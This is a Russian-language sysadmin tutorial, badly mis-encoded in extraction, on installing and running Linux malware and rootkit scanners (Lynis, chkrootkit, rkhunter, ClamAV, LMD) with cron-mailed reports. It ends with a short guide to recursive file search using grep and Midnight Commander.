5 ȐȕșȚȘțȔȍȕȚȖȊ Ȍȓȧ șȒȈȕȐȘȖȊȈȕȐȧ Linux-șȍȘȊȍȘȈ 

ʅʘ ʩʝʨʚʝʨʘ ʩ ʩʠʩʪʝʤʘʤʠ ʩʝʤʝʡʩʪʚʘ Linux ʚʩʝʛʜʘ ʥʘʧʨʘʚʣʝʥ ʙʦʣʴʰʦʡ ʫʨʦʚʝʥʴ 

ʘʪʘʢ ʠ ʩʢʘʥʠʨʦʚʘʥʠʷ ʧʦʨʪʦʚ ɺ ʪʦ ʚʨʝʤʷ ʢʘʢ ʧʨʘʚʠʣʴʥʦ ʥʘʩʪʨʦʝʥʥʳʡ ʬʘʝʨʚʦʣ ʠ 

ʨʝʛʫʣʷʨʥʳʝ ʦʙʥʦʚʣʝʥʠʷ ʩʠʩʪʝʤʳ ʙʝʟʦʧʘʩʥʦʩʪʠ ʜʦʙʘʚʣʷʶʪ ʜʦʧʦʣʥʠʪʝʣʴʥʳʡ 

ʫʨʦʚʝʥʴ ʙʝʟʦʧʘʩʥʦʩʪʠ ʩʠʩʪʝʤʳ, ʚʳ ʪʘʢʞʝ ʜʦʣʞʥʳ ʩʣʝʜʠʪʴ, ʥʝ ʩʤʦʛ ʣʠ ʢʪʦ-ʥʠʙʫʜʴ 

ʧʨʦʙʨʘʪʴʩʷ ʯʝʨʝʟ ʥʠʭ. 
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ʀʥʩʪʨʫʤʝʥʪʳ, ʧʨʝʜʩʪʘʚʣʝʥʥʳʝ ʚ ʵʪʦʡ ʩʪʘʪʴʝ, ʩʦʟʜʘʥʳ ʜʣʷ ʵʪʠʭ ʧʨʦʚʝʨʦʢ 

ʙʝʟʦʧʘʩʥʦʩʪʠ ʠ ʤʦʛʫʪ ʠʜʝʥʪʠʬʠʮʠʨʦʚʘʪʴ ʚʠʨʫʩʳ, ʚʨʝʜʦʥʦʩʥʳʝ ʧʨʦʛʨʘʤʤʳ, 

ʨʫʪʢʠʪʳ ʠ ʚʨʝʜʦʥʦʩʥʳʝ ʧʦʚʝʜʝʥʠʷ. ɺʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʵʪʠ ʠʥʩʪʨʫʤʝʥʪʳ ʜʣʷ 

ʨʝʛʫʣʷʨʥʦʛʦ ʩʢʘʥʠʨʦʚʘʥʠʷ ʩʠʩʪʝʤʳ, ʥʘʧʨʠʤʝʨ, ʢʘʞʜʫʶ ʥʦʯʴ ʠ ʦʪʧʨʘʚʣʷʪʴ ʦʪʯʝʪʳ 

ʥʘ ʚʘʰ ʵʣʝʢʪʨʦʥʥʳʡ ʘʜʨʝʩ. 

 

LYNIS ǫ SECURITY AUDITING AND ROOTKIT SCANNER 

Lynis - ʵʪʦ ʙʝʩʧʣʘʪʥʳʡ, ʤʦʱʥʳʡ ʠ ʧʦʧʫʣʷʨʥʳʡ ʠʥʩʪʨʫʤʝʥʪ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ 

ʢʦʜʦʤ ʜʣʷ ʘʫʜʠʪʘ ʠ ʩʢʘʥʠʨʦʚʘʥʠʷ ʙʝʟʦʧʘʩʥʦʩʪʠ ʜʣʷ ʦʧʝʨʘʮʠʦʥʥʳʭ ʩʠʩʪʝʤ Unix 

ʠʣʠ Linux. ʕʪʦ ʩʨʝʜʩʪʚʦ ʩʢʘʥʠʨʦʚʘʥʠʷ ʥʘ ʥʘʣʠʯʠʝ ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ ʠ 

ʦʙʥʘʨʫʞʝʥʠʷ ʫʷʟʚʠʤʦʩʪʝʡ, ʢʦʪʦʨʦʝ ʩʢʘʥʠʨʫʝʪ ʩʠʩʪʝʤʳ ʥʘ ʥʘʣʠʯʠʝ ʠʥʬʦʨʤʘʮʠʠ ʠ 

ʧʨʦʙʣʝʤ ʙʝʟʦʧʘʩʥʦʩʪʠ, ʮʝʣʦʩʪʥʦʩʪʠ ʬʘʡʣʦʚ, ʦʰʠʙʦʢ ʢʦʥʬʠʛʫʨʘʮʠʠ; ʚʳʧʦʣʥʷʝʪ 

ʘʫʜʠʪ ʙʨʘʥʜʤʘʫʵʨʘ, ʧʨʦʚʝʨʷʝʪ ʫʩʪʘʥʦʚʣʝʥʥʦʝ ʧʨʦʛʨʘʤʤʥʦʝ ʦʙʝʩʧʝʯʝʥʠʝ, ʧʨʘʚʘ 

ʜʦʩʪʫʧʘ ʢ ʬʘʡʣʘʤ ʠ ʢʘʪʘʣʦʛʘʤ, ʘ ʪʘʢʞʝ ʤʥʦʛʦʝ ʜʨʫʛʦʝ. 

ɺʘʞʥʦ ʦʪʤʝʪʠʪʴ, ʯʪʦ ʦʥ ʥʝ ʚʳʧʦʣʥʷʝʪ ʘʚʪʦʤʘʪʠʯʝʩʢʦʝ ʫʩʠʣʝʥʠʝ ʟʘʱʠʪʳ ʩʠʩʪʝʤʳ, 

ʦʜʥʘʢʦ ʧʨʦʩʪʦ ʜʘʝʪ ʧʨʝʜʣʦʞʝʥʠʷ, ʧʦʟʚʦʣʷʶʱʠʝ ʧʦʚʳʩʠʪʴ ʫʨʦʚʝʥʴ ʟʘʱʠʪʳ ʚʘʰʝʛʦ 

ʩʝʨʚʝʨʘ. 

ʄʳ ʫʩʪʘʥʦʚʠʤ Lynis (ʚʝʨʩʠʷ 2.6.6) ʠʟ ʠʩʭʦʜʥʳʭ ʢʦʜʦʚ, ʠʩʧʦʣʴʟʫʷ ʩʣʝʜʫʶʱʠʝ 

ʢʦʤʘʥʜʳ. 

# cd /opt/  

# wget  https://downloads.cisofy.com/lynis/lynis - 2.6.6.tar.gz  

# tar xvzf lynis - 2.6.6.tar.gz  

https://wiki.merionet.ru/
https://downloads.cisofy.com/lynis/lynis-2.6.6.tar.gz
https://downloads.cisofy.com/lynis/lynis-2.6.6.tar.gz
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# mv lynis /usr/local/  

# ln - s /usr/local/lynis/lynis /usr/local/bin/lynis  

ʊʝʧʝʨʴ ʚʳ ʤʦʞʝʪʝ ʚʳʧʦʣʥʠʪʴ ʩʢʘʥʠʨʦʚʘʥʠʝ ʚʘʰʝʡ ʩʠʩʪʝʤʳ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ 

ʥʠʞʝ: 

# lynis audit system  

Initializing  program  

-  Detecting  OS...   [ DONE]  

-  Checking  profiles ...    [ DONE]  

Program  version :   2.6 . 6 

Operating  system :   Linux  

Operating  system name :  CentOS 

Operating  system version :   CentOS Linux  release 7.4 . 1708  ( Core )  

Kernel  version :    4.17 . 6 

Hardware  platform :   x86_64  

Hostname :    merionet  

Profiles :    /usr/ local / lynis / default . prf  

https://wiki.merionet.ru/
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Log  file :     /var/ log / lynis . log  

Report  file :    /var/ log / lynis - report . dat  

Report  version :    1.0  

Plugin  directory :   /usr/ local / lynis / plugins  

Auditor :    [ Not  Specified ]  

Language :    en 

Test  category :    all  

Test  group :    all  

-  Program  update status ...  [ NO UPDATE]  

ʏʪʦʙʳ ʟʘʧʫʩʢʘʪʴ Lynis ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʢʘʞʜʫʶ ʥʦʯʴ, ʜʦʙʘʚʴʪʝ ʩʣʝʜʫʶʱʫʶ ʟʘʧʠʩʴ 

cron, ʢʦʪʦʨʘʷ ʙʫʜʝʪ ʟʘʧʫʩʢʘʪʴʩʷ ʚ 3 ʯʘʩʘ ʥʦʯʠ ʠ ʦʪʧʨʘʚʣʷʪʴ ʦʪʯʝʪʳ ʥʘ ʚʘʰ ʘʜʨʝʩ 

ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʳ. 

0 3 *  *  *  /usr/ local / bin / lynis -- quick 2>&1 |  mail - s "Lynis Reports of My 

Server"  you@yourdomain . com 

 

CHKROOTKIT ǫ A LINUX ROOTKIT SCANNERS 

Chkrootkit - ʵʪʦ ʝʱʝ ʦʜʠʥ ʙʝʩʧʣʘʪʥʳʡ ʜʝʪʝʢʪʦʨ ʨʫʪʢʠʪʦʚ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ 

ʢʦʜʦʤ, ʢʦʪʦʨʳʡ ʣʦʢʘʣʴʥʦ ʧʨʦʚʝʨʷʝʪ ʥʘʣʠʯʠʝ ʧʨʠʟʥʘʢʦʚ ʨʫʪʢʠʪʘ ʚ Unix-ʧʦʜʦʙʥʳʭ 

https://wiki.merionet.ru/
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ʩʠʩʪʝʤʘʭ. ʆʥ ʧʦʤʦʛʘʝʪ ʦʙʥʘʨʫʞʠʪʴ ʩʢʨʳʪʳʝ ʜʳʨʳ ʚ ʙʝʟʦʧʘʩʥʦʩʪʠ. ʇʘʢʝʪ chkrootkit 

ʩʦʩʪʦʠʪ ʠʟ ʩʮʝʥʘʨʠʷ ʦʙʦʣʦʯʢʠ, ʢʦʪʦʨʳʡ ʧʨʦʚʝʨʷʝʪ ʩʠʩʪʝʤʥʳʝ ʜʚʦʠʯʥʳʝ ʬʘʡʣʳ ʥʘ 

ʥʘʣʠʯʠʝ ʠʟʤʝʥʝʥʠʡ ʨʫʪʢʠʪʘ, ʠ ʨʷʜʘ ʧʨʦʛʨʘʤʤ, ʢʦʪʦʨʳʝ ʧʨʦʚʝʨʷʶʪ ʨʘʟʣʠʯʥʳʝ 

ʧʨʦʙʣʝʤʳ ʙʝʟʦʧʘʩʥʦʩʪʠ. 

ʉʨʝʜʩʪʚʦ chkrootkit ʤʦʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ ʚ ʩʠʩʪʝʤʘʭ 

ʥʘ ʦʩʥʦʚʝ Debian: 

$ sudo apt install chkrootk it  

ɺ ʩʠʩʪʝʤʘʭ ʥʘ ʙʘʟʝ CentOS ʚʘʤ ʥʝʦʙʭʦʜʠʤʦ ʫʩʪʘʥʦʚʠʪʴ ʝʛʦ ʠʟ ʠʩʪʦʯʥʠʢʦʚ, 

ʠʩʧʦʣʴʟʫʷ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ: 

# yum update  

# yum install wget gcc - c++ glibc - static  

# wget - c ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz  

# tar ïxzf chkrootkit.tar.gz  

# mkdi r /usr/local/chkrootkit  

# mv chkrootkit - 0.52/* /usr/local/chkrootkit  

# cd /usr/local/chkrootkit  

# make sense  

https://wiki.merionet.ru/
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ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʚʘʰ ʩʝʨʚʝʨ ʩ ʧʦʤʦʱʴʶ Chkrootkit, ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ 

ʢʦʤʘʥʜʫ: 

$ sudo chkrootkit  

ʀʣʠ 

# /usr/local/chkrootkit/chkrootkit  

ʇʦʩʣʝ ʟʘʧʫʩʢʘ ʥʘʯʥʝʪʩʷ ʧʨʦʚʝʨʢʘ ʚʘʰʝʡ ʩʠʩʪʝʤʳ ʥʘ ʥʘʣʠʯʠʝ ʠʟʚʝʩʪʥʳʭ 

ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ ʠ ʨʫʪʢʠʪʦʚ, ʘ ʧʦʩʣʝ ʟʘʚʝʨʰʝʥʠʷ ʧʨʦʮʝʩʩʘ ʚʳ ʩʤʦʞʝʪʝ 

ʫʚʠʜʝʪʴ ʦʪʯʝʪ. 

ʏʪʦʙʳ ʟʘʧʫʩʢʘʪʴ Chkrootkit ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʢʘʞʜʫʶ ʥʦʯʴ, ʜʦʙʘʚʴʪʝ ʩʣʝʜʫʶʱʫʶ 

ʟʘʧʠʩʴ cron, ʢʦʪʦʨʘʷ ʙʫʜʝʪ ʟʘʧʫʩʢʘʪʴʩʷ ʚ 3 ʯʘʩʘ ʥʦʯʠ, ʠ ʦʪʧʨʘʚʣʷʡʪʝ ʦʪʯʝʪʳ ʥʘ 

ʚʘʰ ʘʜʨʝʩ ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʳ. 

0 3 *  *  *  /usr/ sbin / chkrootkit 2>&1 |  mail - s "chkrootkit Reports of My 

Server"  you@yourdomain . com 

 

RKHUNTER ǫ A LINUX ROOTKIT SCANNERS 

RKH (RootKit Hunter) - ʵʪʦ ʙʝʩʧʣʘʪʥʳʡ, ʤʦʱʥʳʡ, ʧʨʦʩʪʦʡ ʚ ʠʩʧʦʣʴʟʦʚʘʥʠʠ ʠ 

ʭʦʨʦʰʦ ʠʟʚʝʩʪʥʳʡ ʠʥʩʪʨʫʤʝʥʪ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ ʜʣʷ ʩʢʘʥʠʨʦʚʘʥʠʷ 

ʙʵʢʜʦʨʦʚ, ʨʫʪʢʠʪʦʚ ʠ ʣʦʢʘʣʴʥʳʭ ʵʢʩʧʣʦʡʪʦʚ ʚ POSIX-ʩʦʚʤʝʩʪʠʤʳʭ ʩʠʩʪʝʤʘʭ, ʪʘʢʠʭ 

ʢʘʢ Linux. ʂʘʢ ʩʣʝʜʫʝʪ ʠʟ ʥʘʟʚʘʥʠʷ, ʵʪʦ ʩʨʝʜʩʪʚʦ ʜʣʷ ʦʙʥʘʨʫʞʝʥʠʷ ʨʫʪʢʠʪʦʚ, 

ʤʦʥʠʪʦʨʠʥʛʘ ʠ ʘʥʘʣʠʟʘ ʙʝʟʦʧʘʩʥʦʩʪʠ, ʢʦʪʦʨʦʝ ʪʱʘʪʝʣʴʥʦ ʧʨʦʚʝʨʷʝʪ ʩʠʩʪʝʤʫ ʥʘ 

ʥʘʣʠʯʠʝ ʩʢʨʳʪʳʭ ʜʳʨ ʚ ʙʝʟʦʧʘʩʥʦʩʪʠ. 

https://wiki.merionet.ru/
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ʀʥʩʪʨʫʤʝʥʪ rkhunter ʤʦʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ ʚ 

ʩʠʩʪʝʤʘʭ ʥʘ ʦʩʥʦʚʝ Ubuntu ʠ CentOS 

$ sudo apt install rkhu nter  

# yum install epel - release  

# yum install rkhunter  

ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʚʘʰ ʩʝʨʚʝʨ ʩ ʧʦʤʦʱʴʶ rkhunter, ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ 

ʢʦʤʘʥʜʫ. 

# rkhunter - c 

ʏʪʦʙʳ ʟʘʧʫʩʢʘʪʴ rkhunter ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʢʘʞʜʫʶ ʥʦʯʴ, ʜʦʙʘʚʴʪʝ ʩʣʝʜʫʶʱʫʶ 

ʟʘʧʠʩʴ cron, ʢʦʪʦʨʘʷ ʙʫʜʝʪ ʨʘʙʦʪʘʪʴ ʚ 3 ʯʘʩʘ ʥʦʯʠ ʠ ʦʪʧʨʘʚʣʷʪʴ ʦʪʯʝʪʳ ʥʘ ʚʘʰ 

ʘʜʨʝʩ ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʳ. 

0 3 *  *  *  /usr/ sbin / rkhunter - c 2>&1 |  mail - s "rkhunter Reports of My 

Server"  you@yourdomain . com 

 

CLAMAV ǫ ANTIVIRUS SOFTWARE TOOLKIT 

ClamAV - ʵʪʦ ʫʥʠʚʝʨʩʘʣʴʥʳʡ, ʧʦʧʫʣʷʨʥʳʡ ʠ ʢʨʦʩʩʧʣʘʪʬʦʨʤʝʥʥʳʡ ʘʥʪʠʚʠʨʫʩʥʳʡ 

ʜʚʠʞʦʢ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ ʜʣʷ ʦʙʥʘʨʫʞʝʥʠʷ ʚʠʨʫʩʦʚ, ʚʨʝʜʦʥʦʩʥʳʭ 

ʧʨʦʛʨʘʤʤ, ʪʨʦʷʥʦʚ ʠ ʜʨʫʛʠʭ ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ ʥʘ ʢʦʤʧʴʶʪʝʨʝ. ʕʪʦ ʦʜʥʘ ʠʟ 

ʣʫʯʰʠʭ ʙʝʩʧʣʘʪʥʳʭ ʘʥʪʠʚʠʨʫʩʥʳʭ ʧʨʦʛʨʘʤʤ ʜʣʷ Linux ʠ ʩʪʘʥʜʘʨʪ ʩ ʦʪʢʨʳʪʳʤ 

ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ ʜʣʷ ʩʢʘʥʠʨʦʚʘʥʠʷ ʧʦʯʪʦʚʦʛʦ ʰʣʶʟʘ, ʢʦʪʦʨʳʡ ʧʦʜʜʝʨʞʠʚʘʝʪ 

ʧʨʘʢʪʠʯʝʩʢʠ ʚʩʝ ʬʦʨʤʘʪʳ ʧʦʯʪʦʚʳʭ ʬʘʡʣʦʚ. 

https://wiki.merionet.ru/
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ʆʥ ʧʦʜʜʝʨʞʠʚʘʝʪ ʦʙʥʦʚʣʝʥʠʷ ʚʠʨʫʩʥʳʭ ʙʘʟ ʚʦ ʚʩʝʭ ʩʠʩʪʝʤʘʭ ʠ ʧʨʦʚʝʨʢʫ ʧʨʠ 

ʜʦʩʪʫʧʝ ʪʦʣʴʢʦ ʚ Linux. ʂʨʦʤʝ ʪʦʛʦ, ʦʥ ʤʦʞʝʪ ʩʢʘʥʠʨʦʚʘʪʴ ʘʨʭʠʚʳ ʠ ʩʞʘʪʳʝ ʬʘʡʣʳ 

ʠ ʧʦʜʜʝʨʞʠʚʘʝʪ ʪʘʢʠʝ ʬʦʨʤʘʪʳ, ʢʘʢ Zip, Tar, 7Zip, Rar ʠ ʤʥʦʛʠʝ ʜʨʫʛʠʝ. 

ClamAV ʤʦʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ ʚ ʩʠʩʪʝʤʘʭ ʥʘ ʦʩʥʦʚʝ 

Debian: 

$ sudo apt - get  install clamav  

ClamAV ʤʦʞʥʦ ʫʩʪʘʥʦʚʠʪʴ ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ ʚ ʩʠʩʪʝʤʘʭ ʥʘ ʙʘʟʝ 

CentOS: 

# yum - y update  

# yum - y install clamav  

ʇʦʩʣʝ ʫʩʪʘʥʦʚʢʠ ʚʳ ʤʦʞʝʪʝ ʦʙʥʦʚʠʪʴ ʩʠʛʥʘʪʫʨʳ ʠ ʦʪʩʢʘʥʠʨʦʚʘʪʴ ʢʘʪʘʣʦʛ ʩ 

ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʠʭ ʢʦʤʘʥʜ. 

# freshclam  

# clamscan - r - i DIRECTORY  

ɻʜʝ DIRECTORY - ʵʪʦ ʤʝʩʪʦ ʜʣʷ ʩʢʘʥʠʨʦʚʘʥʠʷ. ʆʧʮʠʷ -r ʦʟʥʘʯʘʝʪ ʨʝʢʫʨʩʠʚʥʦʝ 

ʩʢʘʥʠʨʦʚʘʥʠʝ, ʘ -i - ʧʦʢʘʟʘʪʴ ʪʦʣʴʢʦ ʟʘʨʘʞʝʥʥʳʝ ʬʘʡʣʳ. 

 

LMD ǫ LINUX MALWARE DETECT 
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LMD (Linux Malware Detect) - ʵʪʦ ʤʦʱʥʳʡ ʠ ʧʦʣʥʦʬʫʥʢʮʠʦʥʘʣʴʥʳʡ ʩʢʘʥʝʨ 

ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ ʜʣʷ Linux ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, ʩʧʝʮʠʘʣʴʥʦ 

ʨʘʟʨʘʙʦʪʘʥʥʳʡ ʠ ʧʨʝʜʥʘʟʥʘʯʝʥʥʳʡ ʜʣʷ ʦʙʱʝʜʦʩʪʫʧʥʳʭ ʩʨʝʜ, ʥʦ ʝʛʦ ʤʦʞʥʦ 

ʠʩʧʦʣʴʟʦʚʘʪʴ ʜʣʷ ʦʙʥʘʨʫʞʝʥʠʷ ʫʛʨʦʟ ʚ ʣʶʙʦʡ ʩʠʩʪʝʤʝ Linux. ʆʥ ʤʦʞʝʪ ʙʳʪʴ 

ʠʥʪʝʛʨʠʨʦʚʘʥ ʩ ʤʦʜʫʣʝʤ ʩʢʘʥʝʨʘ ClamAV ʜʣʷ ʧʦʚʳʰʝʥʠʷ ʧʨʦʠʟʚʦʜʠʪʝʣʴʥʦʩʪʠ. 

ʆʥ ʧʨʝʜʦʩʪʘʚʣʷʝʪ ʧʦʣʥʫʶ ʩʠʩʪʝʤʫ ʦʪʯʝʪʦʚ ʜʣʷ ʧʨʦʩʤʦʪʨʘ ʪʝʢʫʱʠʭ ʠ ʧʨʝʜʳʜʫʱʠʭ 

ʨʝʟʫʣʴʪʘʪʦʚ ʩʢʘʥʠʨʦʚʘʥʠʷ, ʧʦʜʜʝʨʞʠʚʘʝʪ ʦʧʦʚʝʱʝʥʠʷ ʧʦ ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʝ 

ʧʦʩʣʝ ʢʘʞʜʦʛʦ ʚʳʧʦʣʥʝʥʠʷ ʩʢʘʥʠʨʦʚʘʥʠʷ ʠ ʤʥʦʛʠʝ ʜʨʫʛʠʝ ʧʦʣʝʟʥʳʝ ʬʫʥʢʮʠʠ. 

LMD ʥʝʜʦʩʪʫʧʝʥ ʚ ʦʥʣʘʡʥ-ʭʨʘʥʠʣʠʱʘʭ, ʥʦ ʨʘʩʧʨʦʩʪʨʘʥʷʝʪʩʷ ʚ ʚʠʜʝ ʪʘʨʙʦʣʘ ʩ 

ʚʝʙ-ʩʘʡʪʘ ʧʨʦʝʢʪʘ. ʊʘʨʙʦʣ, ʩʦʜʝʨʞʘʱʠʡ ʠʩʭʦʜʥʳʡ ʢʦʜ ʧʦʩʣʝʜʥʝʡ ʚʝʨʩʠʠ, ʚʩʝʛʜʘ 

ʜʦʩʪʫʧʝʥ ʧʦ ʩʣʝʜʫʶʱʝʡ ʩʩʳʣʢʝ, ʛʜʝ ʝʛʦ ʤʦʞʥʦ ʩʢʘʯʘʪʴ ʩ ʧʦʤʦʱʴʶ: 

# wget  http://www.rfxn.com/downloads/maldetect - current.tar.gz  

ɿʘʪʝʤ ʥʘʤ ʥʫʞʥʦ ʨʘʩʧʘʢʦʚʘʪʴ ʘʨʭʠʚ ʠ ʚʦʡʪʠ ʚ ʢʘʪʘʣʦʛ, ʚ ʢʦʪʦʨʳʡ ʙʳʣʦ ʠʟʚʣʝʯʝʥʦ 

ʝʛʦ ʩʦʜʝʨʞʠʤʦʝ. ʊʘʤ ʤʳ ʥʘʡʜʝʤ ʫʩʪʘʥʦʚʦʯʥʳʡ ʩʢʨʠʧʪ install.sh 

# tar - xvf maldetect - current.tar.gz  

# ls - l | grep maldetect  

ɼʘʣʝʝ ʟʘʧʫʩʢʘʝʤ ʩʢʨʠʧʪ 

# ./install.sh  

ʅʘ ʵʪʦʤ ʧʦʢʘ ʚʩʝ! ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʧʦʜʝʣʠʣʠʩʴ ʩʧʠʩʢʦʤ ʠʟ 5 ʠʥʩʪʨʫʤʝʥʪʦʚ ʜʣʷ 

ʩʢʘʥʠʨʦʚʘʥʠʷ ʩʝʨʚʝʨʘ Linux ʥʘ ʥʘʣʠʯʠʝ ʚʨʝʜʦʥʦʩʥʳʭ ʧʨʦʛʨʘʤʤ ʠ ʨʫʪʢʠʪʦʚ. 

https://wiki.merionet.ru/
http://www.rfxn.com/downloads/maldetect-current.tar.gz
http://www.rfxn.com/downloads/maldetect-current.tar.gz
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ǸȍȒțȘșȐȊȕȖ ȕȈȑȚȐ șȓȖȊȖ Ȋ ȜȈȑȓȈȝ Ȑ ȗȈȗȒȈȝ Linux 

ɼʠʩʪʨʠʙʫʪʠʚ Linux, ʥʝʩʤʦʪʨʷ ʥʘ ʚʝʨʩʠʶ ʠ ʚʠʜ, ʠʤʝʝʪ ʤʥʦʞʝʩʪʚʦ ʛʨʘʬʠʯʝʩʢʠʭ 

ʦʙʦʣʦʯʝʢ, ʢʦʪʦʨʳʝ ʧʦʟʚʦʣʷʶʪ ʠʩʢʘʪʴ ʬʘʡʣʳ. ɹʦʣʴʰʠʥʩʪʚʦ ʠʟ ʠʭ ʥʠʭ ʧʦʟʚʦʣʷʶʪ 

ʠʩʢʘʪʴ ʩʘʤʠ ʬʘʡʣʳ, ʥʦ, ʢ ʩʦʞʘʣʝʥʠʶ, ʦʥʠ ʨʝʜʢʦ ʧʦʟʚʦʣʷʶʪ ʠʩʢʘʪʴ ʧʦ 

ʩʦʜʝʨʞʠʤʦʤʫ. ɸ ʦʩʦʙʝʥʥʦ ʨʝʢʫʨʩʠʚʥʦ. ɺ ʩʪʘʪʴʝ ʧʦʢʘʞʝʤ ʜʚʘ ʩʧʦʩʦʙʘ ʪʦʛʦ, ʢʘʢ 

ʤʦʞʥʦ ʨʝʢʫʨʩʠʚʥʦ ʥʘʡʪʠ ʬʘʡʣʳ, ʢʦʪʦʨʳʝ ʩʦʜʝʨʞʘʪ ʪʫ ʠʣʠ ʠʥʫʶ ʬʨʘʟʫ. ʇʦʠʩʢ 

ʙʫʜʝʪ ʦʩʫʱʝʩʪʚʣʝʥ ʧʦ ʧʘʧʢʘʤ ʠ ʜʠʨʝʢʪʦʨʠʷʤ ʚʥʫʪʨʠ ʵʪʠʭ ʧʘʧʦʢ. 

 

ɅȿɢɊȼ ɌɈȿɡɋ Ɂ Ɍȿɢɣȿɍ ɈɂȺɋɈɉȼɁɅɆ ɏɂɈɂɡ ȺɆɅɉɆɣɔ 

ɺʩʝ ʧʨʦʩʪʦ. ʆʪʢʨʳʚʘʝʤ ʩʝʨʚʝʨʥʫʶ ʢʦʥʩʦʣʴ, ʧʦʜʢʣʶʯʠʚʰʠʩʴ ʧʦ SSH. ɸ ʜʘʣʝʝ, 

ʚʚʦʜʠʤ ʢʦʤʘʥʜʫ: 

grep - iRl "ʬʨʘʟʘ" /ʜʠʨʝʢʪʦʨʠʷ/ʛʜʝ/ʠʩʢʘʪʴ 

ʅʘʧʨʠʤʝʨ, ʢʦʤʘʥʜʘ ʤʦʞʝʪ ʚʳʛʣʷʜʝʪʴ ʚʦʪ ʪʘʢ: 

grep - iRl "merionet"  / home/ user / merion  

ʂʦʤʘʥʜʘ ʥʘʡʜʝʪ ʠ ʚʳʚʝʜʝʪ ʚʩʝ ʬʘʡʣʳ, ʢʦʪʦʨʳʝ ʩʦʜʝʨʞʘʪ ʬʨʘʟʫ merionet ʚ 

ʜʠʨʝʢʪʦʨʠʠ /home/user/merion ʠ ʚʦ ʚʩʝʭ ʜʠʨʝʢʪʦʨʠʷʭ, ʚʥʫʪʨʠ ʵʪʦʡ ʧʘʧʢʠ. ʄʳ 

ʠʩʧʦʣʴʟʫʝʤ ʩʣʝʜʫʶʱʠʝ ʢʣʶʯʠ: 

ǒ -i - ʠʛʥʦʨʠʨʦʚʘʪʴ ʨʝʛʠʩʪʨʘ ʪʝʢʩʪʘ (ʙʦʣʴʰʠʝ ʠʣʠ ʤʘʣʝʥʴʢʠʝ ʙʫʢʚʳ); 

ǒ -R - ʨʝʢʫʨʩʠʚʥʦ ʠʩʢʘʪʴ ʬʘʡʣʳ ʚ ʩʘʙʜʠʨʝʢʪʦʨʠʷʭ; 

https://wiki.merionet.ru/
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ǒ -I - ʧʦʢʘʟʳʚʘʪʴ ʥʘʟʚʘʥʠʷ ʬʘʡʣʦʚ, ʚʤʝʩʪʦ ʠʭ ʩʦʜʝʨʞʠʤʦʛʦ; 

ʊʘʢ ʞʝ, ʚʘʤ ʤʦʛʫʪ ʙʳʪʴ ʧʦʣʝʟʥʳ ʩʣʝʜʫʶʱʠʝ ʢʣʶʯʠ: 

ǒ -n - ʧʦʢʘʟʘʪʴ ʥʦʤʝʨ ʩʪʨʦʢʠ, ʚ ʢʦʪʦʨʦʡ ʥʘʭʦʜʠʪʩʷ ʬʨʘʟʘ; 

ǒ -w - ʧʦʢʘʟʘʪʴ ʤʝʩʪʦ, ʛʜʝ ʩʣʦʚʦ ʧʦʧʘʜʘʝʪʩʷ; 

 

 

ɇɆȼɉȺ ɉɣɆɁȿ ɏɂɈɂɡ OKFPKIJU EQOOCPFGT 

ʊʘʢ ʞʝ, ʚ ʢʦʥʩʦʣʠ ʩʝʨʚʝʨʘ, ʜʘʡʪʝ ʢʦʤʘʥʜʫ: 

mc 

ʕʪʘ ʢʦʤʘʥʜʘ ʟʘʧʫʩʪʠʪ Midnight Commander. ʂʩʪʘʪʠ, ʝʩʣʠ ʦʥ ʫ ʚʘʩ ʥʝ ʫʩʪʘʥʦʚʣʝʥ, 

ʝʛʦ ʤʦʞʥʦ ʧʨʦʩʪʦ ʫʩʪʘʥʦʚʠʪʴ ʯʝʨʝʟ yum: 

yum install mc  

ʆʪʢʨʳʚ mc, ʚʦ ʚʢʣʘʜʢʝ Command ʚʳʙʝʨʠʪʝ Find File ʠ ʟʘʧʦʣʥʠʪʝ ʧʦʠʩʢʦʚʫʶ 

ʬʦʨʤʫ ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ: 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/rekursivno-najti-slovo-v-fajlax-i-papkax-linux/1.png
https://wiki.merionet.ru/images/rekursivno-najti-slovo-v-fajlax-i-papkax-linux/1.png
